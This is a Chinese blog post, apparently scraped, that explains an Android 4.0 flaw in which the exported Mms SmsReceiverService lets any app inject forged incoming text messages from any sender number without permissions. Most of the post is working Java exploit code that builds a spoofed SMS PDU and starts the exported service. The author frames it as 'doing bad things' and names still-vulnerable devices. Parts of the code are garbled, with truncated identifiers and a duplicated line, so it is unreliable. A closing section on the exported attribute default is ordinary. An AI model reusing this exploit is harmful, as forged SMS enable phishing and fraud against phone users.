android安全问题(⼋)伪造短信(利⽤原⽣android4.0漏洞)导读:本⽂利⽤android4.0的⼀个原⽣漏洞来伪造短信。⽆须声明任何权限即可伪造发送⽅为任何号码的短信给⽤户。
android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇⽂章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。
原⽣android4.0系统中,Mms.apk的manifest有这样⼀段
<service android:name=".transaction.SmsReceiverService"
android:exported="true" />
android:exported="true",意味着SmsReceiverService这个Service暴露给了⼤家,也让病毒有机可乘
在stackoverflow上⾯,有⼈早就给出了伪造短信的⽅案,我们在这⾥就直接使⽤⼈家的代码好了
其中UCS-2处理是我新加上去的
1private static void createFakeSms(Context context, String sender,
2        String body) {
3    byte[] pdu = null;
4    byte[] scBytes = PhoneNumberUtils
5            workPortionToCalledPartyBCD("0000000000");
6    byte[] senderBytes = PhoneNumberUtils
7            workPortionToCalledPartyBCD(sender);
8    int lsmcs = scBytes.length;
9    // 时间处理,包括年⽉⽇时分秒以及时区和夏令时
10    byte[] dateBytes = new byte[7];
11    Calendar calendar = new GregorianCalendar();
12    dateBytes[0] = SmsUtil
13            .reverseByte((byte) ((Calendar.YEAR)));
14    dateBytes[1] = SmsUtil
15            .reverseByte((byte) ((Calendar.MONTH) + 1));
16    dateBytes[2] = verseByte((byte) (calendar
17            .get(Calendar.DAY_OF_MONTH)));
18    dateBytes[3] = verseByte((byte) (calendar
19            .get(Calendar.HOUR_OF_DAY)));
20    dateBytes[4] = verseByte((byte) (calendar
21            .get(Calendar.MINUTE)));
22    dateBytes[5] = verseByte((byte) (calendar
23            .get(Calendar.SECOND)));
24    dateBytes[6] = SmsUtil
25            .reverseByte((byte) (((Calendar.ZONE_OFFSET) + calendar
26                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
27    try {
28        ByteArrayOutputStream bo = new ByteArrayOutputStream();
29        bo.write(lsmcs);// 短信服务中⼼长度
30        bo.write(scBytes);// 短信服务中⼼号码
31        bo.write(0x04);
32        bo.write((byte) sender.length());// 发送⽅号码长度
33        bo.write(senderBytes);// 发送⽅号码
34        bo.write(0x00);// 协议标⽰,00为普通GSM,点对点⽅式
35        try {
36            String sReflectedClassName = "com.lephony.GsmAlphabet";
37            Class<?> cReflectedNFCExtras = Class
38                    .forName(sReflectedClassName);
39            Method stringToGsm7BitPacked = Method(
40                    "stringToGsm7BitPacked", new Class[] { String.class });
41            stringToGsm7BitPacked.setAccessible(true);
42            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
43                    body);
44
45            bo.write(0x00); // encoding: 0 for default 7bit
46            bo.write(dateBytes);
47            bo.write(bodybytes);
48        } catch (Exception e) {
48        } catch (Exception e) {
49            Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
50            // 下⾯是UCS-2编码的处理,中⽂短信就需要⽤此种⽅式
51            bo.write(0x08); // encoding: 8 for UCS-2
52            bo.write(dateBytes);
53            bo.deUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的
54            // 源码具体位置在
55            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
56        }
57
58        pdu = bo.toByteArray();
59    } catch (IOException e) {
60        Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
61    }
62    // 上⾯的部分都是组织短信数据,下⾯是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有的权限,但是⼈家有啊!
63    Intent intent = new Intent();
64    intent.setClassName("s",
65            "s.transaction.SmsReceiverService");
66    intent.setAction("android.provider.Telephony.SMS_RECEIVED");
67    intent.putExtra("pdus", new Object[] { pdu });
68    intent.putExtra("format", "3gpp");
69    context.startService(intent);
70}
安卓intent用法71
72public static byte reverseByte(byte b) {
73    return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
74}
我们看看在SmsMessage.java中的getSubmitPdu处理user data的⽅式
1// User Data (and length)
2byte[] userData;
3try {
4    if (encoding == ENCODING_7BIT) {
5        userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
6                languageTable, languageShiftTable);
7    } else { //assume UCS-2
8        try {
9            userData = encodeUCS2(message, header);
10        } catch(UnsupportedEncodingException uex) {
11            Log.e(LOG_TAG,
12                    "Implausible UnsupportedEncodingException ",
13                    uex);
14            return null;
15        }
16    }
17} catch (EncodeException ex) {
18    // Encoding to the 7-bit alphabet failed. Let's see if we can
19    // send it as a UCS-2 encoded message
20    try {
21        userData = encodeUCS2(message, header);
22        encoding = ENCODING_16BIT;
23    } catch(UnsupportedEncodingException uex) {
24        Log.e(LOG_TAG,
25                "Implausible UnsupportedEncodingException ",
26                uex);
27        return null;
28    }
29}
先看是不是7-bit编码⽅式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码
下⾯附上encodeUCS2代码
现在,我们就可以在原⽣android4.0上⾯⼲坏事了,如果你在真机上⾯发现上⾯的代码不起作⽤,那么很有可能⼈家已经修复了漏洞,所以你也别总想着⼲坏事。
不过……HTC G14上⾯的漏洞还是存在的,起码前两个⽉是这个样⼦,没关系,我已经换了⼿机
……
另外值得⼀提是android:exported 这个属性
我们可以在android 官⽅⽂档中看到如下说明
1
/**2
* Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if 3
* necessary 4
* 5
* @return 6
* @throws UnsupportedEncodingException 7
*/8
public static byte[] encodeUCS2(String message, byte[] header)9
throws UnsupportedEncodingException {10
byte[] userData, textPart;11
textPart = Bytes("utf-16be");12
13
if (header != null) {14
// Need 1 byte for UDHL 15
userData = new byte[header.length + textPart.length + 1];16
17
userData[0] = (byte) header.length;18
System.arraycopy(header, 0, userData, 1, header.length);19
System.arraycopy(textPart, 0, userData, header.length + 1,20
textPart.length);21
} else {22
userData = textPart;23
}24
byte[] ret = new byte[userData.length + 1];25
ret[0] = (byte) (userData.length & 0xff);26
System.arraycopy(userData, 0, ret, 1, userData.length);27    return ret;28}
ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.
这意味着什么呢?
之前,你可以不⽤显式设置export这个属性,别⼈也可以调⽤你的ContentProvider,但是你的应⽤放到了Android4.2(API17)上⾯,那么别⼈再调⽤你的ContentProvider的时候就会抛出异常,进⽽导致应⽤崩溃
这是时候,我们就必须在manifest⽂件中显式给export赋值为true
之前就遇到了这样的问题,应⽤放在4.1上⾯没有问题,放到4.2上就crash,调查了半天,才发现原因在这⾥
看来关键的属性还是显式声明的好,因为没准哪⼀天,它的默认值就变了
下⾯是⼀些相关内容
请⼤家不要⽤root的⼿机随意下载软件,更不要以任何借⼝制造任何病毒!
转贴请保留以下链接
本⼈blog地址

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。